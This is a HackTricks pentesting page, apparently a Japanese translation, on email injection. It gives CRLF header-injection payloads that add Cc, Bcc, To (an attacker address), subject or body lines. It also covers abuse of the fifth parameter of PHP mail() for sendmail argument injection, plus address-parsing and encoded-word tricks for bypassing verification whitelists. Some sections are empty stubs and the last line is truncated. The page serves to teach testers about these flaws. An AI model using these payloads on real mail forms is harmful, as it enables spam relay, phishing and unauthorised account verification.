# Email Injections
\
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %}
## 送信されたメールに注入する
### 送信者引数の後にCcおよびBccを注入する
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
メッセージは受信者とrecipient1アカウントに送信されます。
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
メッセージは元の受信者と攻撃者のアカウントに送信されます。
### Subject引数の注入
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
偽の件名は元の件名に追加され、場合によってはそれを置き換えます。これはメールサービスの動作に依存します。
### メッセージの本文を変更する
二行の改行を挿入し、その後にメッセージを書いてメッセージの本文を変更します。
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() 関数の悪用
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### 5番目のパラメータ ($additional\_parameters)
このセクションは、**攻撃者がこのパラメータを制御していると仮定した場合の悪用方法**に基づいています。
このパラメータは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、`escapeshellcmd($additional_parameters)`関数でサニタイズされます。
この場合、攻撃者は**sendmail用の抽出パラメータを注入することができます**。
#### /usr/sbin/sendmailの実装の違い
**sendmail**インターフェースは、システムにインストールされている**MTAメールソフトウェア**(Sendmail、Postfix、Eximなど)によって提供されます。基本的な機能(-t -i -fパラメータなど)は互換性の理由から**同じ**ですが、**他の機能やパラメータ**はインストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるマニュアルページのいくつかの例です:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail**バイナリの起源に応じて、悪用するためのさまざまなオプションが発見され、**ファイルを漏洩させたり、任意のコマンドを実行したりすることができます**。方法については、[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)を確認してください。
## メール名に注入
{% hint style="danger" %}
任意のドメイン名(Github、Gitlab、CloudFlare Zero trustなど)でアカウントを作成し、確認メールを受信して確認できた場合、被害者企業の機密情報にアクセスできる可能性があります。
{% endhint %}
### メールの無視される部分
記号:**+、-**および**{}**は、稀にタグ付けに使用され、ほとんどのメールサーバーによって無視されることがあります。
* 例:john.doe+intigriti@example.com → john.doe@example.com
**括弧 () の間のコメント**も、先頭または末尾にある場合は無視されます。
* 例:john.doe(intigriti)@example.com → john.doe@example.com
### ホワイトリストバイパス
### 引用符
### IP
IPを角括弧で囲んでドメイン名として使用することもできます:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### メールエンコーディング
[**この研究**](https://portswigger.net/research/splitting-the-email-atom)で説明されているように、メール名にはエンコードされた文字も含まれることがあります:
* **PHP 256オーバーフロー**:PHPの`chr`関数は、文字が正の値になるまで256を加え続け、その後`%256`の操作を行います。
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
このトリックの目的は、`RCPT TO:<"collab@psres.net>collab"@example.com>`のような注入を行い、確認メールを予期しない別のメールアドレスに送信させることです(したがって、メール名の中に別のメールアドレスを挿入し、メール送信時に構文を壊すことになります)。
{% endhint %}
異なるエンコーディング:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@